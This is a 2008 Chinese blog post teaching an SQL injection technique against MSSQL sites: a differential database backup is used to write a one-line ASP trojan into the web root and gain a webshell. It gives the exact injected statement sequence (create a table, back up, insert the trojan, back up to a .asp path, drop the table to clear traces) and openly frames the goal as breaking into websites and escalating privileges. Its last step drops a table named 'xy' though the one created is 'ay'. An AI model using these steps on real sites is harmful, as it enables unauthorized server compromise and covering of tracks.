sql注入之差異備分
??? 當你有了SQL語句基本功時依然用啊D之類的工具掃管理員密碼,網站后臺的時候是不是千遍一律,不耐煩了呢?呵呵,當時我也是很不耐煩了,拿個掃描器對一堆網站狂掃結果什么都沒有。下面我們來說個成功率更高,適用性更廣的方法,那就是傳說中的差異備分
??? 關于差異備分我想已經臭名遠洋了吧。下面我們先來簡單說下數據庫的差異備分:
?
???? 差異備份所基于的常規數據庫備份、部分備份或文件備份稱為差異的“基準”或“差異基準”。僅復制備份不能用作差異基準。文件差異備份的基準備份可以包含在完整備份、文件備份或部分備份中。有關詳細信息,請參閱在 簡 單模式下的備分或在完整模式下的備分 。
差異備份只記錄自上次建立差異基準后更改的數據。差異備份比差異基準更小且更快,便于執行頻繁備份,從而降低了數據丟失的風險。
??? 除只讀數據庫之外,其他數據庫中每個文件的差異基準信息均保存在主文件組的一個目錄中。每個數據庫的差異基準信息亦存儲在 master 數據庫中。
————以上是引用MSDN對差異備分的解釋
??? 所謂的差異備分,就是只備分最近一次備分之后到此次備分之前所增加的那一部分數據。打個比方我第N次備分后數據庫存放的內容是ABCD,然后我第N+1次 備分的時候使用差異備分,此時數據庫的存放的內容是ABCDEFG。那么我差異備分的結果就是EFG,只備分增加量。都明白了我們就開始講點有用的東西 啦,嘿嘿~~為什么要用差異備分呢?因為規模點的網站數據庫一般有幾十M甚至,那么你備分出來的數據就有幾十M,然后你從WEB上打開個幾十M內容文件的 話……估計要很久吧。這么入侵的話我覺得你還是直接拿刀找網管讓他把后臺密碼給你好了。再者我們備分的一句話木馬會受到影響,如果數據庫中存在《或者%之 類的字符的話。可能導致我們小馬無法訪問。還有就是備分那么大的數據庫可能會導致腳本操作超時,所以我們得盡量減少我們備分出來的數據庫的大小。為什么備 分數據庫就可以入侵網站了呢……我們往下跳
我不是分割線
________________________________________________________
????? 我們來介紹下SQL的備分語句:
BACKUP DATABASE ****(表示你要備分的數據庫名) TO DISK='*****'(表示你要備分的數據庫路徑) WITH DIFFERENTIAL(告訴數據庫你要進行差異備分,如果沒有WITH DIFFERENTIAL則進行完整備分)
?
????? 舉個例子,比如我們知道了WEB服務器的物理路徑 D:\WEB\,服務器的數據庫名為XXX
那么如果我們將一個一句話木馬插入數據庫中(后面講到)然后備分數據庫,具體語句如下
BACKUP DATABASE XXX TO DISK='D:\WEB\AY.ASP' WITH DIFFERENTIAL
????? 注意到D:\WEB\AY.ASP沒有,意思就是說把數據庫備分到WEB目錄下而且數據庫備分文件名為AY.ASP,可喜的是? AY.ASP這個文件中存在我們的一句話木馬語句,當服務器遇到ASP后綴名的文件時會對該文件進行ASP解析,ASP解析的原則是遇到<%開始解 析,%>結束解析。比如我們向數據庫中插入一句話木馬,這個時候我們插入的數據是新增的數據,然后用差異備分備分一個ASP文件到WEB目錄下。那 么這個ASP文件下就會存在我們的木馬內容了。然后訪問一句話木馬,然后小馬傳大馬。
????? 別告訴我不知道怎么訪問,因為很多人還是不理解WEB物理路徑和我們訪問的URL之間的關系。簡單說下好了,比如你的WEB根目錄在這樣D:\WEB\, 文件夾下有你想訪問的文件AY.ASP。網站域名為http:\\xxx.xxx.xxx,那么你只要訪問http:\\xxx.xxx.xxx \AY.ASP就可以了。你的WEBSHELL就到手了,入侵服務器的進度就完成了10%(為什么是10%呢?因為90%的難度在提權~呵呵)。
原理知道沒?接下來是實踐了,往下看之前建議你把SQL的基本語句搞懂。
來,再往下跳
我還是不是分割線
____________________________________________________________________________
????? 首先我們需要注入的數據庫類型是MSSQL的,而且這個數據庫的連接權限必須是DB_OWNER的權限。(一般MSSQL數據庫網站都是這個權限的)有建表的權限。滿足以上條件的網站其實是比較多的。呵呵……
URL;create table ay(ay1 image) --
新建一個名為AY的表 表內存在名為AY1的圖象類型的字段
URL;backup database?數據庫名 to disk='物理路徑' with DIFFERENTIAL --?
注意,這次備分是要減小數據庫的備分量
URL;insert into ay (ay1) values (“一句話木馬") --
向你新建的表中插入一句話木馬內容
URL;backup database?數據庫名 to disk='物理路徑'with DIFFERENTIAL --?
備分數據庫到WEB目錄下
URL;drop table xy --
刪除表名,清理痕跡
????? 步驟介紹完了,也許大家還是有疑惑,就是為什么第2句要備分一下,比如還是上面的例子,我們備分之前數據庫存在內容為ABCD,我們進行差異備分,然后插 入小馬,那么數據庫內容表為ABCDE,E代表小馬內容。那么差異備分出來內容為E。為什么這樣呢,因為你不知道這臺服務器多久之前備分過的,萬一這服務 器沒備分過而且數據庫內容有幾百M呢?所以嚴謹點的辦法就是先備分一次在寫入一句話木馬。
posted on 2008-12-07 16:17 __ay 閱讀(379) 評論(0) 編輯 收藏 引用 所屬分類: Security